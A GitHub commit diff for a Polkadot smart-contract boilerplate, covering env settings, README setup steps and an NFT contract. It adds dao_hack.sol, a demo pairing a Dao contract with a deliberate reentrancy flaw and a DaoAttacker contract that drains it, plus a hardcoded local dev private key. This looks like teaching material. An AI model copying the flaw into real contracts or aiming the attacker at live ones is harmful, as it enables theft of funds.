Skip to content

Commit ae309e9

Browse files
authored
PBA updates (#1)
* wip * wip * Add a few comments * update * fix * wip * Just keep viem * rm codegen files * mv src -> web * update * wip * pba update
1 parent 62200b7 commit ae309e9

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

77 files changed

+9008
-1460
lines changed
Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,24 @@
11
# Copy this template to .env (which should be in .gitignore)
22

33
# Current network used to deploy contracts.
4-
# Possible values: westend, kitchensink
4+
# Possible values: local, testnet
55
# This is exposed to the frontend, thus the prefix VITE_
6-
VITE_CHAIN="westend"
6+
VITE_CHAIN="local"
77

8-
# Private key used to deploy contracts on kitchensink (localhost)
8+
# The RPC URL to use when local chain is selected
9+
VITE_LOCAL_RPC_URL="http://localhost:8545"
10+
11+
# The RPC URL to use when testnet chain is selected
12+
VITE_TESTNET_RPC_URL="https://westend-asset-hub-eth-rpc.polkadot.io"
13+
14+
# Private key used to deploy contracts on the local chain
915
# This is the private key for the funded account 0xf24FF3a9CF04c71Dbc94D0b566f7A27B94566cac
10-
KITCHENSINK_PRIVATE_KEY="0x5fb92d6e98884f76de468fa3f6278f8807c48bebc13595d45af5bdc4da702133"
16+
LOCAL_PRIVATE_KEY="0x5fb92d6e98884f76de468fa3f6278f8807c48bebc13595d45af5bdc4da702133"
1117

1218
# Private key used to deploy contracts on Westend (Asset Hub)
1319
# TODO: Specify the private key for the account that will be used to deploy contracts on Westend
1420
# You can use the faucet to get some funds for the account. See https://contracts.polkadot.io/connect-to-asset-hub
15-
WESTEND_PRIVATE_KEY="0x.."
21+
TESTNET_PRIVATE_KEY="0x.."
1622

1723
# To enable wallet-connect create a project Id here https://cloud.walletconnect.com/
1824
VITE_WC_PROJECT_ID=

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# Logs
22
logs
3+
src/codegen/**
34
*.log
45
npm-debug.log*
56
yarn-debug.log*
@@ -23,3 +24,4 @@ dist-ssr
2324
*.njsproj
2425
*.sln
2526
*.sw?
27+

README.md

Lines changed: 116 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,125 @@
1-
⚠️ Archived: Use https://github.com/paritytech/create-polkadot-dapp instead
2-
31
# Getting started with Dapp on Asset Hub
42

5-
This repository contains 2 boilerplates Dapp to help you getting started building contracts on Asset Hub.
3+
This repository contains a sample project that you can use as the starting point to develop your Dapp on Polkadot.
4+
It's also a great fit for learning the basics of smart contract development.
5+
6+
## Quick start
7+
8+
### Prerequisites
9+
10+
The first things you need to do are cloning this repository and installing its
11+
dependencies:
12+
13+
```sh
14+
git clone https://github.com/paritytech/contracts-boilerplate.git
15+
cd contracts-boilerplate
16+
```
17+
18+
Then install the dependencies:
19+
20+
```sh
21+
npm install
22+
```
23+
24+
We will use [deno](https://deno.com), a modern alternative to Node that can work with TypeScript out of the box.
25+
You can install it by running:
26+
27+
```sh
28+
curl -fsSL https://deno.land/install.sh | sh
29+
```
30+
31+
### Building contracts
32+
33+
We can now compile the contracts located in the `contracts/` directory:
34+
35+
```sh
36+
deno task build [--filter <contract-name>] [--clean]
37+
```
38+
39+
This does the following:
40+
41+
- Compile the bytecode for each contract into `codgen/bytecode/*`
42+
- Generate the abi for each contract into `codgen/abi/*.ts` and the index `codegen/abis.ts`
43+
44+
### Deploying contracts
45+
46+
Before you can deploy contracts, let's copy the `.env.example` file to `.env` and fill in the required environment variables.
47+
48+
```sh
49+
cp .env.example .env
50+
```
51+
52+
Update `tools/deploy.ts` to include new contracts you want to deploy.
53+
Make sure to specify the constructor arguments and the value, if needed.
54+
55+
#### Deploying to Testnet
56+
57+
To deploy to Westend Testnet, you will need to specify the `TESTNET_PRIVATE_KEY`.
58+
Check the instructions [here](https://contracts.polkadot.io/connect-to-asset-hub) to connect with your wallet and request funds.
59+
60+
#### Deploying to a local chain
61+
62+
For local development, checkout the instructions [here](https://contracts.polkadot.io/work-with-a-local-node) to setup and start a local chain.
63+
64+
> Note: You can also test against `geth`, the deployment code, will detect the chain and deploy the right bytecode (evm or pvm).
65+
66+
> Local deployments will use the account `0xf24FF3a9CF04c71Dbc94D0b566f7A27B94566cac` already configured in your `.env` file, This account is pre-funded at genesis, so you can use it to deploy contracts.
67+
68+
Now that you have the environment variables setup, ensure that your chain is running and deploy the contracts by running:
69+
70+
```sh
71+
deno task deploy [--filter <contract-name>]
72+
```
73+
74+
This command will update the `codegen/addresses.ts` file with the deployed contract addresses, so that you can easily reference them in your apps.
75+
76+
### Running the web app
77+
78+
Once the contracts are deployed you can run the frontend by running:
79+
80+
```sh
81+
deno dev --open
82+
```
83+
84+
This will start a development server with live reload and open your browser to the local url.
85+
The default app let you do the following actions:
86+
87+
- Connect to different wallets
88+
- Display the connected account
89+
- Mint an NFT.
90+
- Display the minted NFT.
91+
92+
![screenshot](https://github.com/user-attachments/assets/1fda3678-c22b-4f7d-a0be-68e01662b329)
93+
94+
# Run cli
95+
96+
There is an example cli in the `cli` directory that you can run to interact with the deployed contracts.
97+
98+
```sh
99+
deno --env-file --allow-all ./cli/dao-hack.tsx
100+
```
101+
102+
### Running tests
6103

7-
## Build Dapp with ethers.js & react
104+
Use the following command to run the tests located in the `tests/` directory:
8105

9-
This is a Dapp boilerplate that uses ethers.js along with react to build a Dapp.
106+
```sh
107+
# start the eth-rpc and substrate node
108+
export SUBSTRATE_BIN="$POLKADOT_SDK/target/debug/substrate-node"
109+
export ETH_RPC_BIN="$POLKADOT_SDK/target/debug/eth-rpc"
10110

11-
See [ethers/README.md](./ethers)
111+
# start the servers in the background and run the tests in watch mode against substrate
112+
ETH_RPC=true START_SUBSTRATE_NODE=true npm run test:dev
12113

13-
## Build Dapp with wagmi & react & viem
114+
# start geth in the background and run the tests in watch mode against geth
115+
START_GETH=true npm run test:dev
14116

15-
This is a more modern Dapp boilerplate that uses Viem and Wagmi.
16-
Viem is a lightweight TypeScript library for interacting with Ethereum, focusing on providing a simple, type-safe API for Ethereum JSON-RPC methods. Wagmi is a collection of React hooks for Ethereum.
117+
# use live server (http://localhost:{$RPC_PORT:-8545}) and run the tests in watch mode
118+
npm run test:dev
119+
```
17120

18-
See [viem/README.md](./viem)
121+
# Learn more
19122

123+
- [Asset Hub documentation](https://contracts.polkadot.io) to learn more about building Smart Contracts on Asset Hub.
124+
- [wagmi documentation](https://wagmi.sh/) to learn more about building EVM Dapps with React.
125+
- [viem documentation](https://viem.sh/) to learn more about the library used to interact with EVM contracts.
Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,16 @@
11
// SPDX-License-Identifier: MIT
22
pragma solidity >0.8.21;
33

4-
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
5-
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
6-
import "@openzeppelin/contracts/utils/Base64.sol";
4+
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
5+
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
6+
import '@openzeppelin/contracts/utils/Base64.sol';
77

88
contract WagmiMintExample is ERC721 {
99
uint256 public totalSupply;
1010

1111
uint256 private nextTokenId = 0;
1212

13-
constructor() ERC721("wagmi", "WAGMI") {}
13+
constructor() ERC721('wagmi', 'WAGMI') {}
1414

1515
function mint() external {
1616
uint256 tokenId = nextTokenId;
@@ -27,7 +27,7 @@ contract WagmiMintExample is ERC721 {
2727
}
2828

2929
function mint(uint256 tokenId) external {
30-
require(!_exists(tokenId), "Token ID is taken");
30+
require(!_exists(tokenId), 'Token ID is taken');
3131
_safeMint(msg.sender, tokenId);
3232
unchecked {
3333
totalSupply++;
@@ -42,10 +42,10 @@ contract WagmiMintExample is ERC721 {
4242
uint256 tokenId
4343
) public pure override returns (string memory) {
4444
uint256 foregroundHue = uint256(
45-
keccak256(abi.encodePacked("foreground", tokenId))
45+
keccak256(abi.encodePacked('foreground', tokenId))
4646
) % 360;
4747
uint256 backgroundHue = uint256(
48-
keccak256(abi.encodePacked("background", tokenId))
48+
keccak256(abi.encodePacked('background', tokenId))
4949
) % 360;
5050
string memory json = Base64.encode(
5151
bytes(
@@ -69,7 +69,7 @@ contract WagmiMintExample is ERC721 {
6969
)
7070
);
7171
string memory output = string(
72-
abi.encodePacked("data:application/json;base64,", json)
72+
abi.encodePacked('data:application/json;base64,', json)
7373
);
7474
return output;
7575
}
@@ -79,7 +79,7 @@ contract WagmiMintExample is ERC721 {
7979
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
8080

8181
if (value == 0) {
82-
return "0";
82+
return '0';
8383
}
8484
uint256 temp = value;
8585
uint256 digits;
@@ -96,4 +96,3 @@ contract WagmiMintExample is ERC721 {
9696
return string(buffer);
9797
}
9898
}
99-

contracts/dao_hack.sol

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.4;
3+
4+
interface IDao {
5+
function deposit() external payable;
6+
function withdraw() external;
7+
function getBalance(address account) external view returns (uint256);
8+
}
9+
10+
contract Dao is IDao {
11+
mapping(address => uint256) public balances;
12+
13+
// Payable constructor
14+
constructor() payable {}
15+
16+
function getBalance(address account) public view returns (uint256) {
17+
return balances[account];
18+
}
19+
20+
function deposit() public payable {
21+
require(msg.value >= 1 ether, 'Deposits must be no less than 1 Ether');
22+
balances[msg.sender] += msg.value;
23+
}
24+
25+
function withdraw() public {
26+
uint256 amount = balances[msg.sender];
27+
require(amount > 0, 'No balance to withdraw');
28+
29+
// 🔴 Sends ETH before updating balance
30+
(bool success, ) = msg.sender.call{value: amount}('');
31+
require(success, 'Transfer failed');
32+
33+
// 🔴 Balance Update after Transfer - Allows Reentrancy!
34+
balances[msg.sender] = 0;
35+
}
36+
}
37+
38+
contract DaoAttacker {
39+
IDao dao;
40+
uint maxCalls; // Maximum allowed recursive calls
41+
uint calls; // Counter for the number of re-entrancy calls
42+
43+
constructor(address _dao, uint _maxCalls) payable {
44+
require(
45+
msg.value >= 1 ether,
46+
'Need at least 1 ether to commence attack.'
47+
);
48+
dao = IDao(_dao);
49+
maxCalls = _maxCalls;
50+
}
51+
52+
function attack() public payable {
53+
calls = 0;
54+
if (dao.getBalance(address(this)) == 0) {
55+
dao.deposit{value: 1 ether}();
56+
}
57+
dao.withdraw();
58+
}
59+
60+
receive() external payable {
61+
calls += 1;
62+
if (calls < maxCalls && address(dao).balance >= 1 ether) {
63+
dao.withdraw();
64+
}
65+
}
66+
}

deno.json

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
{
2+
"tasks": {
3+
"build": {
4+
"description": "Build contracts from the contracts directory and output bytecode and abi in the codegen directory",
5+
"command": "deno run --env-file --allow-all src/tools/build.ts"
6+
},
7+
"deploy": {
8+
"description": "Deploy contracts to the network specified in the .env file, and update addresses in the codegen directory",
9+
"command": "deno run --env-file --allow-all src/tools/deploy.ts"
10+
},
11+
"dao-hack-cli": {
12+
"description": "Run the dao-hack cli demo",
13+
"command": "deno --env-file --allow-all src/cli/dao-hack.tsx"
14+
},
15+
"dao-hack-traces": {
16+
"description": "Run the dao-hack tracing demo",
17+
"command": "deno --env-file --allow-all src/cli/dao-hack-traces.ts"
18+
}
19+
}
20+
}

ethers/.env.example

Lines changed: 0 additions & 15 deletions
This file was deleted.

ethers/.gitignore

Lines changed: 0 additions & 4 deletions
This file was deleted.

ethers/.npmrc

Lines changed: 0 additions & 1 deletion
This file was deleted.

0 commit comments

Comments
 (0)